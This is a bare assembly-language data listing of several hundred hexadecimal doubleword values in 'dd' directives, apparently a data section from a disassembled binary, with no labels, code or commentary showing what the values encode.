dd 0F4E7426Bh, 145A66A6h, 0A0E3DE7Bh, 8BC8F4A5h, 4AF181F0h
dd 8295C98Bh, 7786337h, 693F5C0Fh, 6440689Ch, 88F057CAh
dd 9515BD21h, 61A87E22h, 9C2A5CA5h, 0C07F7E45h, 3CC1F55Bh
dd 9D6DC94h, 0DD8FBFE4h, 0E2D058Bh, 4CC1A919h, 87DA1744h
dd 8415DBB1h, 41DAA93Bh, 10B93597h, 649CEBFh, 0DF283855h
dd 0B2E8AD87h, 7E882F41h, 0E867513Bh, 9AAD9571h, 288D97A5h
dd 282F515Ch, 82C517Bh, 6F3DE699h, 4A4858BAh, 184FA6F8h
dd 0ED93A5E0h, 0E0A8E79Dh, 0E7BF58DFh, 6268849Bh, 656A3A61h
dd 0E2490E29h, 65E0F67Eh, 0FDD223D0h, 4FF996E4h, 0B4E49557h
dd 0CFC4938h, 180C9997h, 41D431AEh, 6FEE0422h, 6086063Ah
dd 79023133h, 9D422651h, 8B919FD3h, 66D5A1C3h, 0FCFCF2ECh
dd 0E5358537h, 379FBEB4h, 62B3C413h, 7A0B2105h, 4394089h
dd 0A22DD2F3h, 0F41CEE63h, 222ACB82h, 958C85D0h, 234255CAh
dd 1B0A7000h, 0DE274C94h, 11D4822Ch, 0DCA5CA8Ch, 0A482CE00h
dd 8D08F977h, 0BA77084Dh, 89AE2B49h, 0B82616E2h, 74BC08C4h
dd 968E8630h, 0C0B7E391h, 6CAD273h, 50909597h, 0DB6D2E7Ch
dd 93BBCBA6h, 56D21C49h, 32993E16h, 0D4EDC3E1h, 6B67D980h
dd 0CF43E860h, 0E8679FEDh, 4C0F215Bh, 83C2F4FEh, 1CC1D19Eh
dd 0B3ED619Ch, 9596E69h, 83D37AF3h, 3D342690h, 14A4CFD1h
dd 8010500Fh, 3F74B406h, 567925F9h, 6AA33966h, 280DE50Dh
dd 5877B11Ch, 6E98A304h, 322CD2A7h, 0C7365C63h, 0E5ADBA4Ah
dd 8B581C43h, 578D6C5Ch, 0CF16F43Bh, 4BE831CFh, 93B95DCEh
dd 0B07097B8h, 8AFCEC2Bh, 0CA9B7BE7h, 9E27CB6h, 6796D5E5h
dd 0D4A4FB56h, 9E866517h, 72C2F03Eh, 76A22AA2h, 286C966Bh
dd 0A85B20E9h, 6C680BFh, 26A4796h, 2EC8F0E8h, 0A0839770h
dd 89D48B88h, 0AE9B5C8Eh, 54B47C5Fh, 0E996FB15h, 7E3ECE62h
dd 580EAC6Fh, 0CF6A91A6h, 36BC2DBCh, 0CD520FE5h, 9F3E2A59h
dd 0D5084D16h, 4C42C9FAh, 0D35AE202h, 0B17AB566h, 0CF3A2216h
dd 845B20B4h, 98310221h
dd 0AD2E0C0Ch, 93B024BAh, 8C692813h, 410165EEh, 86F02F62h
dd 516AA4C3h, 0CBD6F1FBh, 9832ABDEh, 7619F411h, 0F4004A87h
dd 1CD4CF52h, 0FE6133E8h, 0AFE90FDAh, 0AEF1921Eh, 72A761CBh
dd 9E8372E3h, 6A388017h, 2A29B9DBh, 5061C3D1h, 6FCE8F3Fh
dd 20DBC5D3h, 0BBDDB52Ch, 0DEAE23CFh, 0AC301A3Ah, 0D4D20528h
dd 377A3A7Bh, 53A2591Dh, 0B2FAC52Dh, 0F312CD2Ch, 0B973E9CFh
dd 8A8E8C75h, 27C91D23h, 2B1B48DAh, 857360FCh, 57C2D799h
dd 51BB76D3h, 5050ACF0h, 15AE5701h, 0CD3A4B66h, 0D9B827B8h
dd 51CC87EDh, 0BCF0E902h, 1CA5F17Eh, 8B1B41B5h, 0E910439Eh
dd 0D2342725h, 74887560h, 0E726E097h, 0C52FE055h, 619CD16h
dd 63894431h, 0A5782F17h, 4E9A3E1Bh, 0FFB2A446h, 0C3428F17h
dd 0C7C3845Eh, 0A2A24143h, 0FAE0ABEDh, 0F764CEC4h, 4DA39080h
dd 0B92B27D6h, 573A12A6h, 0CC9492B6h, 0BEECCBFFh, 32D3E6A9h
dd 0E1733E88h, 0AD295E06h, 9FB358C4h, 0FA1DD1AFh, 0D778F037h
dd 0DB8EA46Eh, 3DBC02A3h, 20E1997Ah, 0B45A88F7h, 5ADAF089h
dd 5105A30h, 29D2BFEBh, 8707175Dh, 0F423C044h, 0C55C9ABFh
dd 0CA0F5CB5h, 0B6802975h, 0E7850027h, 9AB4312Eh, 955AF660h
dd 647FDDFDh, 0F54B61A7h, 563A64DAh, 0A9CDB7D8h, 0CAE61082h
dd 0AA53F202h, 46E98401h, 0AE6F27A7h, 0EAD219C7h, 0FC3AE53h
dd 0F288DE98h, 875BA624h, 62B69556h, 0D962B631h, 5D3F7BEDh
dd 0E3C0EB99h, 0C219DE9h, 70EBACE9h, 0B8980E09h, 929292E4h
dd 7B90DE2Dh, 224208F2h, 0F6EEB857h, 0BC3B0447h, 0BD4A3834h
dd 4639E7E4h, 2DD78772h, 87678880h, 59363560h, 9E3F2061h
dd 8D8090F2h, 0AAD244BBh, 4BD4AE88h, 88FB2DEBh, 84361009h
dd 938D3DAFh, 859EC52Ah, 619D926Fh, 0DF319948h, 0D73560A7h
dd 0C376D31h, 0C377169Eh, 2BB8867Bh, 5708DDCCh, 0F5A7C92Fh
dd 4E24A714h, 4D36E1F6h, 5EFF02A8h, 0C347AA6Dh, 53E741CAh
dd 147176BDh, 0F90250B2h, 0A22647FBh, 0A77DE83Bh, 27BF6121h
dd 67944AFCh, 82C9F2h, 0E284D2CBh, 1A671EDEh, 3B6B49C4h
dd 0C546CDFCh, 6D7374FAh, 0D8F39D3Dh, 6C3ADA62h, 3C15264Ah
dd 3D22CF9Fh, 12B328EFh, 8C60522Bh, 0A5251A4Bh, 0E8B6019Ch
dd 43F8D351h, 5371E05Dh, 71014958h, 9550B499h, 46D4B864h
dd 0C5DDDFE7h, 0D05EE771h, 0DB6A002Eh, 69AD2198h, 4B6BAB01h
dd 82E0254Ah, 35A1DEABh, 9611904Ah, 36176F08h, 0DE6EE10Fh
dd 0BE037196h, 14E79411h, 3F6C40E7h, 5B73012Fh, 0FD078610h
dd 30E754E9h, 2D8A7BF1h, 0D69DF7F2h, 90A75E1Ah, 0E6C526F9h
dd 0E0F7EAA5h, 0CBDFB698h, 0F67DCC62h, 0E3A1C617h, 24434371h
dd 6AB51658h, 0D7FA76E2h, 0B341FC84h, 5342D8E9h, 0B105C0E9h
dd 2254AA98h, 0E49B29C8h, 99F72334h, 9C2B5h, 0E998D2Dh
dd 0F88B7810h, 0CA9FE9BCh, 4C23A8A4h, 9AECDE8Ch, 0F82005A8h
dd 1917AE9Eh, 0D9FA03ACh, 9109DD9Fh, 0BF0A6F07h, 0AF8C0ECCh
dd 0BA43DF99h, 4B08DDE5h, 481264CEh, 0DCEB3746h, 0C070096Ah
dd 605A60DEh, 546C406h, 0D77CD7Dh, 8B762258h, 13835772h
dd 8AA81604h, 0F794AFA6h, 47C09F74h, 0A310254Ah, 0F82786DBh
dd 6E7E8C86h, 0A4EB82D2h, 0AD0FC59Eh, 4F1DBFDCh, 2FE1FF0Eh
dd 2573C617h, 0D613F33Eh, 69D4C4E0h, 3333F335h, 22981200h
dd 0E55AB316h, 417CA946h, 690A7803h, 34C757CFh, 0D78F5BAAh
dd 215AE1A2h, 0C9072296h, 63C64D75h, 7921A2A6h, 5EC74B57h
dd 0BBACEA15h, 0D02C0108h, 0F2117E8Ch, 35F62AA1h, 9739FCCEh
dd 0BFA0756Eh, 0B1D5720Dh, 24F13C77h, 77A442DAh, 571E1AA4h
dd 0B5F6F803h, 0D1D3FB2h, 5DA7D294h, 0E0C12877h, 0EA04FA54h
dd 7B864E1Eh, 8771BE98h, 0E62C3298h, 0DBE76F39h, 7881E059h
dd 40F762A7h, 75F39421h, 26ABDB00h, 0DEC82915h, 0DB678C21h
dd 5A1BD524h, 9FA1CEBEh, 0C4D316F3h, 0CBAA474Eh, 0BA135ED9h
dd 0A5ACC1BCh, 0A2096056h, 36BC612Fh, 0E6757899h, 8BD3EEBh
dd 0B511B2BCh, 0FB69E69Bh, 0E2A7109Dh, 19EF3F18h, 0FD0FC18Dh
dd 0E30E2B7h, 0ACA33868h, 6DCEBB2Ah, 0CF0FE939h, 3EA00837h
dd 5DC2216Bh, 0EE1A9035h, 0EDFCBDCBh, 0BE98C263h, 5076D79Ch
dd 0A672418Bh, 0EF8A9183h, 6024AFB5h, 0C7945921h, 0E0C3724Bh
dd 5E1795B9h, 0E1C1853Eh, 111DD579h, 0D1922702h, 336C0558h
dd 552293D4h, 0F7BE6FBFh, 8BC97CBh, 4FFE146Fh, 0EA5B43C1h
dd 0BF55658Dh, 3678BDABh, 0DBDCB547h, 0B7D88B3Fh, 16F9396Ch
dd 7B34715Ah, 0F311453Fh, 15E47F37h, 6C8C260h, 0BCEB985Ah
dd 0D3C25B2Ah, 845508CDh, 1710B5CAh, 2381245h, 0AE356D1Bh
dd 0ECBF2AB7h, 74E8082Ch, 9FEEDE29h, 0E3AC2913h, 0B790BE97h
dd 0E634D8DCh, 0C1A15998h, 59330C6Fh, 372F461Ch, 6DD59390h
dd 0DE403FC8h, 2CA78E37h, 0A0E01696h, 1D09C8FBh, 0DC824A55h
dd 80DC7A83h, 0FEC90AC0h, 0BCAACF73h, 0ACEAC9EAh, 2CD7D71Eh
dd 0D7C61BB0h, 4D02A64Ah, 73F6CED9h, 1FB10542h, 10E49BF7h
dd 0F6761891h, 55CF610Bh, 4B244D84h, 8D798D76h, 649134E6h
dd 0BCDD76B2h, 9CFF9E35h, 47A697F9h, 37E7C7B9h, 90B24137h
dd 613AFD5Ch, 16944306h, 6CCB9C96h, 9375C97h, 44C70FF3h
dd 15C05990h, 1794E388h, 6F6170D6h, 3FED0FC1h, 0F62ADA6Bh
dd 115B5702h, 67E8511Ch, 0EA69567Ah, 0E90DD1E3h, 0DA2055BAh
dd 0B2336CA0h, 105908AAh, 7D455C39h, 8E45C5AEh, 89ABD74Bh
dd 0E508DF03h, 17F75DF7h, 9C697566h, 0F08F078Bh, 0DB3E6B2Eh
dd 5DF5AC5h, 84565587h, 16287261h, 8D74323Fh, 3F9C345Ah
dd 4E4D529Bh, 39EC8618h, 5776B7A3h, 712979D8h, 0FE6CB27Ch
dd 34BF9E6Ch, 0EA48857Ah, 0DF49E451h, 0D98F840Ah, 0B135971Fh
dd 57E52AF1h, 7696E43Fh, 48714CD3h, 4264410Fh, 64886DFh
dd 157A1274h, 2B21DC1Fh, 58870291h, 32FDC217h, 87DBAFE5h
dd 789DFA7Dh, 0DA501879h, 61AEC09Eh, 0A5A481E1h, 75FC1E2h
dd 0CA28511h, 8B94FBA7h, 9457661Fh, 0D90458FDh, 0D40D3614h
dd 43401ABDh, 0FC112558h, 95C608C3h, 7BB0AFE8h, 80CEC94h
dd 6548907Bh, 0A69B1623h, 30A217E0h, 0F2D0646Ch, 4B2ABA3Eh
dd 7A293575h, 0BAAD36F6h, 0B946A9E4h, 8967AE2h, 4F73580Bh
dd 3895CBE9h, 73581F70h, 55837303h, 1D52E57Ch, 87322D92h
dd 0A20723C3h, 659EB9E3h, 0EEA43318h, 78BDE3B7h, 0FC559C67h
dd 0C91672EFh, 0A97F02D2h, 2F80C805h, 0D69B13CDh, 71F5E658h
dd 8A19ACC0h, 5D6FE7Ch, 34A10836h, 0B13817ADh, 0AA897D85h
dd 0E20FE6F7h, 0BD544714h, 5EFC7E3Fh, 1E968754h, 0AE8DDB1Ah
dd 591E0AD4h, 0DDD217A2h, 0AD2BAD7Ch, 7B848221h, 0B98A7BABh
dd 946DFAE1h, 6A11ED7Ah, 1C7B782Ch, 0A015310Fh, 0D51258A1h
dd 65829581h, 8F75FB8Dh, 9EF02ECAh, 0EB391E4Dh, 1A03DA96h
dd 0DEC7835Ah, 5643FF2Dh, 99DF3E49h, 0F2D18B10h, 608BCE5Eh
dd 4B90DF72h, 0E2050912h, 0EADC5BC5h, 0FC74B38Fh, 1605C15Ch
dd 7DA3CA59h, 0C8AECB9Ah, 28CAE795h, 5AD9F512h, 7B385709h
dd 0DD1C2113h, 797F2CD2h, 0E75F4B13h, 9315BEE1h, 1731B2FEh
dd 0C59ABFB6h, 0B84D4347h, 9EA969CDh, 965E849Fh, 6E341B68h
dd 34EBC0EFh, 3035A189h, 0BBBAF96Ch, 0FF39B9BFh, 6861024Dh
dd 0A69177F9h, 17CBDE83h, 2BD00E9Fh, 2BE0D9E3h, 2F346930h
dd 0B4CA03F9h, 2AB71381h, 0DB2B228Dh, 1B04BB20h, 0E95CDD68h
dd 930A5BD0h, 92DCA938h
dd 629B8B7h, 6AF088F1h, 2940A685h, 0A634A558h, 3D806E6Ah
dd 0BD789ED1h, 8DFB6248h, 0B4946363h, 0E8620CF6h, 0A12D398Dh
dd 48412F36h, 49242EBh, 9E79A464h, 1DC776D8h, 3AF9D1B4h
dd 562CC6DFh, 0AE1F4D5Bh, 0EC5AD6E9h, 0B59F9123h, 311E9C4Fh
dd 0CA1266CFh, 0C0E5696Ah, 795CB9D1h, 0BA54386Ah, 0AA5B335Eh
dd 24F55C34h, 5FEA1189h, 0FF42CD28h, 0DE73AF9Eh, 94F76C01h
dd 0EFDBA31Fh, 92EC8BC1h, 0DFB3C5B2h, 0EE07F9F5h, 37C1525Ch
dd 1AB746B2h, 0D9EC07C7h, 91A6E3E0h, 2A439E32h, 6EA58471h
dd 0FC5FC16Ah, 4FE9989Ah, 6BE31693h, 0C8D82B3Dh, 273E9122h
dd 74254D14h, 0A8564F6Ah, 0CF78512Eh, 0B6DA4663h, 33A6BEB9h
dd 0DA90A3A3h, 0FEF11AE6h, 3A431350h, 1195BD1Ch, 0A5D438E0h
dd 0FBCA6435h, 21E72A48h, 5FC6C495h, 82FA60D4h, 0BCAA660Fh
dd 384D27BDh, 0BE639B58h, 388E224Ch, 49CB436Ah, 14379B7Ch
dd 0D94F8EEEh, 0CC7DD55Ah, 1D81FE8Ah, 7378DBE9h, 51F97AFh
dd 0B2AE3F93h, 7D70259Ch, 5F85F036h, 9FD12D67h, 0F1AC1EDFh
dd 0FE368FE3h, 0EE89321Dh, 9DE3F116h, 0D31D220Eh, 39DFCEF6h
dd 0F8E164ECh, 0E98095CEh, 5AF38EA7h, 4930E3F6h, 3E3464ACh
dd 0D5A00D23h, 0B855BE0h, 7551F3B2h, 0EA8A7FF3h, 0B360F073h
dd 0F0B69514h, 2F682484h, 3724D50Eh, 0C5C57E1Dh, 3565C832h
dd 0E50FEBCh, 0A5C594Ch, 0B62F4EEh, 4C4A8E9Ch, 0A64B5BD4h
dd 7300BB0h, 6E837C91h, 0B763F234h, 67F80313h, 27CBB83Fh
dd 0DB85C9F7h, 0F2815455h, 0AF499D37h, 0AD21AFA4h, 2374E860h
dd 0C94AE788h, 1ED9D8B0h, 4671135Dh, 3DCE2025h, 1825CEBCh
dd 62A6CFFBh, 2EF22EDBh, 755D608Ah, 6C50201Ah, 13DF7DB5h
dd 4D9725BAh, 7E806F5Dh, 0DC04006h, 1B1472ACh, 7CC7BFE2h
dd 9394EF87h, 0A416CB15h, 0B56797FEh, 862922FDh, 2FE55865h
dd 4D11CF84h, 0EEA3C9B5h, 0AF7F9214h, 0FEA403B1h, 8177F6E1h
dd 25447FF5h, 0FB68BB6Eh, 0C1E941EFh, 0C68305ABh, 822CAFEEh
dd 0A7F860DAh, 3B3A003Fh, 61A07744h, 8E048FF0h, 0AD2370D6h
dd 0B3F471DBh, 462D235Dh, 3B8FE265h, 0A936FECCh, 0EABB8E55h
dd 3028AEAh, 0C55AE8A6h, 0F659B74Fh, 0CA41A4E0h, 0A2430B88h
dd 7FDEDB12h, 0D3B0406Ch, 251FC4DBh, 8AC41F06h, 0EBBE9545h
dd 2958EE65h, 455CB9C3h, 38DBA801h, 786B9E63h, 0EAB992CCh
dd 870F1979h, 549F0E4Fh, 0FD57789Fh, 38E2F04Dh, 45CC3691h
dd 0ECDE21F2h, 80ECBB31h, 262CB207h, 3D624EB6h, 4B9F954Fh
dd 0DF8AF275h, 56FBC7ECh, 64AF6241h, 71D29ACBh, 0EF435663h
dd 0B55B069Dh, 7C677ED1h, 860E8CFFh, 619C5D4Ch, 2D23F0E7h
dd 0D5602C5Fh, 8379ED7Ah, 9FFBF5C2h, 4A7498FDh, 827BE8E2h
dd 0B2CE4AEEh, 654E21C2h, 4D19506Eh, 1952AFE6h, 67BFD6BFh
dd 24047BFFh, 8BF6C3B1h, 0F9794B1Dh, 0D79D9AFFh, 0B7F78559h
dd 0BF3BAFDEh, 0E124CC43h, 4CE216Fh, 3BB7ED84h, 0FFA65455h
dd 49C0F6C0h, 982E4058h, 0E932F342h, 76E82B0Ch, 95C2E8CEh
dd 0C9AD48BCh, 0D1F58FF3h, 8A01BF58h, 4C7BDFF1h, 126A5716h
dd 58044E76h, 0EC22379Ch, 0D28D338Fh, 0B4F5FE68h, 6230F92Ah
dd 0CBC33B79h, 7041FCBh, 3EC4963Bh, 5AD18B79h, 78C997CBh
dd 18BB31C7h, 0F7E132BBh, 2D4B8A67h, 482AE768h, 0EF7BF6F1h
dd 0AD652D27h, 1611B634h, 0EC77142Ah, 34AB7440h, 83436DA1h
dd 0EC825A16h, 0BB403771h, 710DC50Eh, 98C5239Ah, 82D713F8h
dd 0AAA6A5CEh, 749E991h, 0B82FBAAAh, 4B1BFCEAh, 41A0FE00h
dd 56A4164Ch, 83FAFD12h, 0A595E776h, 142E5713h, 167E3736h
dd 9D7053Ch, 599573BEh, 3B729E80h, 0C52BE2C6h, 1D0D4559h
dd 31F9B6Bh, 0E937E84Ch, 8ACD3481h, 0B6E8B7B5h, 9046423Ch
dd 297FDA46h, 3B045BB1h, 912DF80Eh, 732A2550h, 6B8CB188h
dd 29D208DAh, 3B735772h, 5F2E37BAh, 0FF3F9E56h, 0D3F73016h
dd 2C240A70h, 0D2A604CDh, 1F8F60EAh, 0C082807Fh, 67F87E50h
dd 17E18CCDh, 464AB895h, 9A62FA96h, 16172B19h, 2ECDF03Bh
dd 0FC0D96AFh, 0D65121BDh, 4D56C518h, 0BCA8024Fh, 2F8B0359h
dd 0A65ED96Eh, 12A3910Dh, 0A8F98625h, 7AA7E917h, 3F6302B5h
dd 0D50950EDh, 9816420Bh, 0FD88C5E2h, 12B178E0h, 8D92EE0Bh
dd 0E7A6CDB8h, 39F2AD8Fh, 488A0DD2h, 6D72C90Ah, 126F1BC2h
dd 5FA60F27h, 69E58A38h, 85E326E6h, 0B81D3266h, 0D8EAF084h
dd 0C0A4A50Bh, 0D33F3BDCh, 7A71532h, 90F0D55Ah, 5BAD633Ah
dd 742C289Eh, 8234054h, 0A2369467h, 690B44B2h, 16A74DA8h
dd 920F988Eh, 7BF68C37h, 0D36BB3C0h, 54679927h, 0C3F17638h
dd 9BCA6906h, 3B75AA38h, 75C64554h, 393EC6BBh, 8B870745h
dd 4C2307A2h, 0C4EBB74Fh, 88279970h, 0E91A6A20h, 58DF9561h
dd 30848B10h, 0E85BECDCh, 31C4368Bh, 0CAEDC13Bh, 0E3E99906h
dd 0DF4600Eh, 6522B413h, 0BFCB8912h, 70BFCCCBh, 0F0AACB1Bh
dd 4CD27939h, 54BA9958h, 7BC4884Fh, 0A0D7F7A9h, 1E702F02h
dd 0E1A377D7h, 768A606Fh, 7411C850h, 701F8A32h, 5FE85C24h
dd 19C1B4CCh, 2BF92455h, 7C459C48h, 61268925h, 0BDC7A6A5h
dd 22D85568h, 0D8E7959Fh, 0BE31A158h, 4FC341E3h, 0E1B12C18h
dd 396044BDh, 0BF66710Fh, 0CD5FE40h, 0E4BA9966h, 0BC5C5B22h
dd 39D43B90h, 0D5D8903Ah, 215AEA96h, 0CCB5B0Dh, 0E657DEFCh
dd 33F8B955h, 0C2ADBB57h, 2B22F3A4h, 805F46AAh, 1625A4DDh
dd 15E787BAh, 0CE3B89A9h, 30034D82h, 215BBCBh, 42D6BE9Ah
dd 4800ADFDh, 0D89E4FA8h, 45485FB3h, 0F6B30480h, 92DEA02Dh
dd 0FC1F3670h, 4F41993Ah, 0F94008ECh, 4EDD7D80h, 34F8B509h
dd 82EC066Ch, 0A76BA91Dh, 0E37B7CE6h, 981800D7h, 18F02DEFh
dd 28B507E6h, 0E38C6C9Fh, 9548DB47h, 71533ECEh, 367693B6h
dd 0B4043F57h, 4C16364Fh, 36853252h, 0A8068BBh, 0E05CA90Eh
dd 0E3A68D20h, 938EF28Ch, 4BBDE902h, 0AA9B0E6Ah, 27CAA66Fh
dd 945C74E7h, 989AD064h, 3463E0CDh, 31D6FD8Ch, 0D59B1D0Ch
dd 5B3E8D5Ch, 0C27155D1h, 0F627C998h, 0FE502467h, 71A186B4h
dd 61D404D3h, 70A2C0B5h, 0BF1AB8B3h, 0E409347Ch, 0E3E0E5D0h
dd 0F80AB031h, 64C80A44h, 88217B14h, 0BCF4EADBh, 8F96770Bh
dd 6A9BDEDAh, 0D7DBF552h, 0CACA608Ah, 698CCDF2h, 3C8A06BAh
dd 515C2842h, 0D0EDCD25h, 29F2D2FCh, 0FDBB7B36h, 0CC068640h
dd 41E9103Ch, 0D919BC12h, 0C1AD2BA8h, 0A7C8C32Ah, 7A617AD8h
dd 0DDA200Ch, 561495A4h, 690E2810h, 0EBCA3715h, 0C1E3AC30h
dd 79D89688h, 68C3C71Fh, 0AAA17DB3h, 3A86E8C3h, 7A6194ACh
dd 49393778h, 0C2E87F8h, 5F72B986h, 0FEB902D1h, 2D0D75A8h
dd 0A3D02968h, 0E6708E69h, 0CA27DAB0h, 7CAB6844h, 0FAFC1E28h
dd 7CA1BCCEh, 0F052CC20h, 0BAB2F2DCh, 4233FA54h, 3D076355h
dd 8A2413F9h, 89432040h, 0F38ED439h, 0EF880AB9h, 3B9CEA08h
dd 0DBCAAE81h, 160649D0h, 7FE1F108h, 323C8CFFh, 26DE5F44h
dd 9542ADB0h, 79C579F8h, 0B5E90186h, 8D4AC358h, 0E5327A30h
dd 713D787h, 85468104h, 0FC967A4Ch, 18FD0F8Ch, 0DB4FE513h
dd 598C643Dh, 79BB26E4h, 6C903D59h, 98E7F256h, 0AEDAE3E2h
dd 8048BF7Ah, 334E1616h, 5E55A5B7h, 0FCFFFEACh, 0FE3C6E3Bh
dd 0ACB0CBE8h, 3C7094C9h, 0DED6CCBCh, 4BEA4F66h, 3A67EDF1h
dd 0C55E0CE8h, 0E554576Ch, 87D022D3h, 4361516Dh, 902465FFh
dd 1083E283h, 90F3CEF1h
dd 1040B23Eh, 2FA5F6BAh, 82C3836Ah, 0F79B3334h, 0AB9916Eh
dd 53B2Ah, 0CC50D4A6h, 0A89B2B98h, 40255F80h, 0C9A2FDB1h
dd 0E88F51D6h, 0A6C0FAA6h, 69B17CAFh, 9DB68B90h, 0B904D6C4h
dd 0B02305F5h, 0E285FF60h, 0A1E82438h, 3653B635h, 185751BFh
dd 0ED600ADFh, 0ED5FF3ABh, 0F7B32D1Ch, 0D4EBA72Ah, 1912ECA0h
dd 4427CE3Ch, 8795719Fh, 8A9FF367h, 81F39440h, 0A8146AA8h
dd 98921A06h, 0DA6CCAAFh, 29DD4642h, 5C390BDAh, 52701A2Bh
dd 0A7BEC21Eh, 85EA736Dh, 0D1A809A2h, 0C72485A0h, 4ED21A12h
dd 26ACF7C4h, 37C0FA40h, 0B70392E1h, 849BF5B1h, 14291C90h
dd 93B88FEFh, 6E8FC0B4h, 0CC1AEAC3h, 9AD36CAh, 0DA487DC0h
dd 0CC47862Fh, 9328D3AAh, 74E3356Fh, 0DC0E6269h, 0E3F0B342h
dd 891EA229h, 0CE517F23h, 530F05DDh, 8A43B565h, 1247603Ah
dd 0BFDA1A5Eh, 8F5BD9F9h, 52534229h, 0C75BB148h, 0E55CBAA2h
dd 5296C1E8h, 7F7DB428h, 36CB3C37h, 0F29D1E2Dh, 98957735h
dd 0D398F5BAh, 2BC98F6h, 4336325h, 8DA40BB8h, 66D6D85Dh
dd 2E777D3h, 1D041971h, 5C921DA1h, 0B49FF269h, 4EEB93A5h
dd 0CAC79DEBh, 83957249h, 9036EC28h, 0C288E7FEh, 2502AC26h
dd 83D39F6Eh, 0D2333331h, 413498DCh, 0AC04C5BDh, 1D7CE38Ah
dd 6AB72C8Eh, 0BC9F908Dh, 0FB7759CAh, 755E4E91h, 7BBE7757h
dd 809B52D0h, 3F6DF583h, 0A421CF11h, 3AE92A7Ch, 0D5835D3Bh
dd 9B1FAA62h, 8E9A242Eh, 25BDE1Dh, 0B6D290Eh, 7330D30Dh
dd 122E5F0Ah, 0E85B14ABh, 0E710C2AEh, 6761EAB3h, 0AD5B2F8h
dd 0D70CC1BDh, 0F0D4B574h, 80F60226h, 812A32AFh, 2238CC82h
dd 0BDC3EFC5h, 0DFC9B8A5h, 0D19FEB7Ch, 116A9C1Ah, 3E75C19Dh
dd 0E9EE7B2Ch, 0FDFFE573h, 36BC2D00h, 0F8A364FCh, 221BFA30h
dd 1D35559Ah, 0D230F8B3h, 0EFBFC04Dh, 19704BC9h, 0BD0F2DFDh
dd 5F45C2B7h, 0BBF6BB42h, 84A56F10h, 0D9103F67h, 0A67D7A1Bh
dd 7D83FC2Dh, 0C333F8C5h, 95D8AA4Bh, 2B7A3E34h, 4C051CC9h
dd 3DF1AAC4h, 599BFD4Fh, 0A5AE019h, 7E6DD2FBh, 0E80B1AE9h
dd 4FA9E2CDh, 0B4C7B14h, 0BE967EE6h, 0C0AF4310h, 289350B3h
dd 0BA7CAB28h, 4F84C2AEh, 69665125h, 75D96E5Eh, 0E824C1EAh
dd 96E396A4h, 1BE89962h, 9099AEB6h, 0C3C27F1Fh, 6977C156h
dd 9E19A6E1h, 0FB20AF39h, 2E99B669h, 11130EC1h, 724304F9h
dd 7150F136h, 0B4B11D28h, 0DAEC9535h, 3FAA76EDh, 6B3A85B6h
dd 0C32DE7C3h, 0C2CFB948h, 826F198Ch, 0AC887D04h, 3A832B99h
dd 0D400F81Bh, 9B775D7Dh, 0A8E6C3E8h, 0AAB967FDh, 8A815A4Dh
dd 0B9E12F49h, 2B7CDE97h, 93E0C252h, 62255ACCh, 3EB5BF95h
dd 0AA067D7Fh, 0B051A335h, 8E54BAD0h, 0C5A819A4h, 7E3AC1F3h
dd 4BC37EF6h, 6CDF7AD7h, 31607C47h, 9571E61Fh, 47FEA1D7h
dd 113BB9E1h, 0DB7A8A7Fh, 7CD60546h, 47312702h, 0AF45325Eh
dd 4C4188F4h, 0B195E35Fh, 0B0A26DBBh, 4106DB5Ch, 0B5305ACAh
dd 0BABDD67Eh, 0A09DC796h, 0C1FB091Fh, 0AB3D51F4h, 0AD3954CCh
dd 9A7776A1h, 2F803DEFh, 9A18B803h, 5C359E1Dh, 2BE69725h
dd 0E4649CEh, 0C7651903h, 0FEE7C54Fh, 6D1FD3B7h, 0A509FEA4h
dd 78496257h, 0CA39306Fh, 7535824Dh, 596A4542h, 6E099FC1h
dd 2CAFF101h, 0E8299D00h, 0E024EFD1h, 0E2887F77h, 0DD7A6B8h
dd 0CFD6A9D3h, 0D5FAA306h, 7BCADB5h, 584BB21Ah, 0F82B335Ch
dd 4AB68BB5h, 89ABA92h, 0B0001E08h, 0A818DAD8h, 3E59408Bh
dd 320D012Ah, 0BC207191h, 779CAC41h, 7EC3CF89h, 5BC25B85h
dd 442563EAh, 0ADCB8231h, 6D7EB5DBh, 82671A54h, 917FE602h
dd 537E255Ch, 9E64BE99h, 0CF2B033Eh, 81897AF2h, 708077A7h
dd 0EE23F2AEh, 0D1834E32h, 3063C994h, 0DA773C5Bh, 6614B274h
dd 70A76556h, 5144E26Dh, 0E8291679h, 0C493D699h, 26D4A500h
dd 0BC8DA43Ah, 0DD45D77Dh, 0AD3D6C6Ch, 95BF07E5h, 67F5D38Fh
dd 7679CC38h, 0A008B27Ah, 550928F5h, 8EBE8F67h, 1EEA1171h
dd 0ACAA06B8h, 947D95ACh, 2227190Eh, 0A18E4846h, 525F4368h
dd 2CD23B1h, 372E08B1h, 27BC407Eh, 0D0A191E4h, 0C9E56E6Eh
dd 81CE3B49h, 0E40CDEA9h, 0E83706BCh, 0B9020284h, 81F552ABh
dd 0C910284Bh, 0F47C727Eh, 99E9F2Bh, 0FF5538D5h, 0E6248ED6h
dd 0CE56F4D4h, 0EE9E1880h, 2A843457h, 7738881Ah, 76869C1Ch
dd 17CB5FD7h, 77CDA6C3h, 0F04EA899h, 0D26D101Eh, 7E8FAEABh
dd 3FE72638h, 0F8AF1A3Dh, 0EDB7D6B6h, 78085149h, 0ABA0EEE8h
dd 894261C3h, 0B3228453h, 0A484A226h, 6E8641C2h, 18B5F05Fh
dd 0F05C3BC8h, 581DED52h, 0D5434CFBh, 82D7BBCEh, 30FA41D3h
dd 696329A5h, 0E94D0CC4h, 0CB6C3599h, 0AE22A28Fh, 0AC5A1A9Bh
dd 304DD54Fh, 4E0FB74Dh, 76AC04EEh, 969647BCh, 4159336Eh
dd 0DF5CA479h, 96EAA71h, 9A051ED7h, 74523719h, 918B4A8h
dd 0B9CFB4E5h, 170C5E2Bh, 0E5413884h, 7E5DD03Ch, 2EFF0288h
dd 5600B8CDh, 0E73D37E5h, 0B10DCDCh, 6AC493C8h, 12CC6B38h
dd 0F6579672h, 0FD8F91Eh, 0FD0C7F83h, 0D71A571h, 0E985B465h
dd 0F2671FB2h, 0B9DAC8DEh, 38BFAA52h, 0DF0FE2Ah, 70D5F67Ch
dd 0D62E3602h, 0F55E75FEh, 0D93337F1h, 363986B6h, 1D845808h
dd 0A50A27E3h, 7C505664h, 351FBD06h, 0D0A6B57Dh, 3A1232CEh
dd 4237196Ah, 5245921Dh, 15A2E557h, 2BECCDE2h, 3DD0A337h
dd 0C1527773h, 0CE36384Fh, 476B827Bh, 26466556h, 49EC9212h
dd 0C129340Fh, 28FFF1CFh, 1225F4FEh, 2FC6A281h, 0A386C7DAh
